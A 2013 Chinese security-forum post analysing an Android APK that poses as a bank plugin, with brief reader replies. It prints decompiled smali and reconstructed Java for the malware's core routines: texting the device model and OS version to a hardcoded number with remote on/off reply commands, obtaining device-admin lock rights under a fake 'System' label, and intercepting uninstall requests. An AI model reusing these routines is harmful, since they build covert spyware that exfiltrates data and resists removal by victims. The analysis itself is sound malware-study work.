首页
社区
课程
招聘
[原创]伪装某银行插件apk病毒分析(附源码)
发表于: 2013-11-12 22:26 21775

[原创]伪装某银行插件apk病毒分析(附源码)

2013-11-12 22:26
21775
    //发生设备信息
       const-string v1, "18458144548"  //手机号码

    new-instance v2, Ljava/lang/StringBuilder;

    const-string v3, "\u624b\u673a\u5df2\u5b89\u88c5\u8f6f\u4ef6,\u56de\u590dcom@false\u5173\u95edcom@true\u5f00\u542f, \u7248\u672c"

    invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V

    sget v3, Landroid/os/Build$VERSION;->SDK_INT:I  //获取版本

    invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;

    move-result-object v2

    const-string v3, " "

    invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

    move-result-object v2

    sget-object v3, Landroid/os/Build;->MODEL:Ljava/lang/String;  //获取MODEL

    invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

    move-result-object v2

    invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

    move-result-object v2
    //发送短信,对应源码中OrderManagement的sendTelMessage的方法
    invoke-virtual {v0, v1, v2, v5}, Lcn/android/emial/d;->a(Ljava/lang/String;Ljava/lang/String;Landroid/content/Context;)V

 

    
   OrderManagement send= new OrderManagement();
    if (!"Q049U0hBWUZN".equals(OrderManagement.encodeX509(this))) { 
    send.sendTelMessage("5558", new String("手机已安装软件,回复com@false关闭com@true开启, 版本"
      +Build.VERSION.SDK_INT
      +" "
      +Build.MODEL)               
      , null);
    
   <?xml version="1.0" encoding="utf-8"?>
<device-admin
  xmlns:android="http://schemas.android.com/apk/res/android">
    <uses-policies>
        <force-lock />
    </uses-policies>
</device-admin>
   
   
    const-string v0, "device_policy"

    invoke-virtual {p0, v0}, Lcn/android/emial/MainActivity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;

    move-result-object v0

    check-cast v0, Landroid/app/admin/DevicePolicyManager;

    iput-object v0, p0, Lcn/android/emial/MainActivity;->a:Landroid/app/admin/DevicePolicyManager;

    new-instance v0, Landroid/content/ComponentName;

    const-class v1, Lcn/android/emial/DeviceReceiver;

    invoke-direct {v0, p0, v1}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V

    iget-object v1, p0, Lcn/android/emial/MainActivity;->a:Landroid/app/admin/DevicePolicyManager;

    invoke-virtual {v1, v0}, Landroid/app/admin/DevicePolicyManager;->isAdminActive(Landroid/content/ComponentName;)Z

    move-result v1
   //判断是否已经在设备管理中激活 
    if-nez v1, :cond_0

    new-instance v1, Landroid/content/Intent;

    const-string v2, "android.app.action.ADD_DEVICE_ADMIN"

    invoke-direct {v1, v2}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V

    const-string v2, "android.app.extra.DEVICE_ADMIN"

    invoke-virtual {v1, v2, v0}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Landroid/os/Parcelable;)Landroid/content/Intent;

    const-string v0, "android.app.extra.ADD_EXPLANATION"

    const-string v2, "\u8bbe\u5907\u7ba1\u7406\u5668"

    invoke-virtual {v1, v0, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;

    const/4 v0, 0x0

    invoke-virtual {p0, v1, v0}, Lcn/android/emial/MainActivity;->startActivityForResult(Landroid/content/Intent;I)V

    :cond_0
    invoke-virtual {p0}, Lcn/android/emial/MainActivity;->finish()V
    //判断指定的组件是否被激活,如无激活则创建,也就是在设备管理中 该程序是否被激活
    if (a.isAdminActive(componentName)==false) {
      Intent intent1=new Intent("android.app.action.ADD_DEVICE_ADMIN");
      intent1.putExtra("android.app.extra.DEVICE_ADMIN", new ComponentName(this,deviceReceiver2.class));
      intent1.putExtra("android.app.extra.ADD_EXPLANATION", "设备管理器");
      startActivity(intent1);
  <receiver android:label="System 设备管理器" android:name="com.example.emial.deviceReceiver2" android:permission="android.permission.BIND_DEVICE_ADMIN" android:description="@string/action_settings">
            <meta-data android:name="android.app.device_admin" android:resource="@xml/lock_screen" />
            <intent-filter>
                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
            </intent-filter>
        </receiver>
  <activity android:name="uninstallerActivity" android:label="卸载程序">
             <intent-filter android:priority="2147483647">
                <action android:name="android.intent.action.VIEW" />
                <action android:name="android.intent.action.DELETE" />
                <category android:name="android.intent.category.DEFAULT" />
                <data android:scheme="package" />
            </intent-filter>
        </activity>

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 5
支持
分享
最新回复 (10)
雪    币: 199
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
学习学习 。这类的apk 还有很多的
2013-11-13 09:44
0
雪    币: 2
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
不错的学习例子啊。
2013-11-13 14:53
0
雪    币: 159
活跃值: (40)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
4
能问问这个apk从哪儿来的么
2013-11-13 16:03
0
雪    币: 11202
活跃值: (17775)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
银行类的应用还是得从官方网站下载,从其它渠道下载的不放心啊
2013-11-14 11:16
0
雪    币: 130
活跃值: (34)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
感谢分享! 请问您的这个apk从哪里找到的?能把渠道分享一下么?我们也想要时常找一两个病毒软件逆向练练手,学习学习.谢谢
2013-11-15 08:39
0
雪    币: 88
活跃值: (166)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
7
不错,学习了
2013-11-20 15:34
0
雪    币: 5
活跃值: (131)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
貌似下载不到附件了。。。
2013-11-25 09:44
0
雪    币: 32
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
可以实现监听他人手机各类信息,比如短信。很多人要做坏事了
2013-11-25 10:39
0
雪    币: 1585
活跃值: (182)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
高手,学习了!
2013-11-27 13:40
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
安全很重要啊
2013-12-2 21:15
0
游客
登录 | 注册 方可回帖
返回
//